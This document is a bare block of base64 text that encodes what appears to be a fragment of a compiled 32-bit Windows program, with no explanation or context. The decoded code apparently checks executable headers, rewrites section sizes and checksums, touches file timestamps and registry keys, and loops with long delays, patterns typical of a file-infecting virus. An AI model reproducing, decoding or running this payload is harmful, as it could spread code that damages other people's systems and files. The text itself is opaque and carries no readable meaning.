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 AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do 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 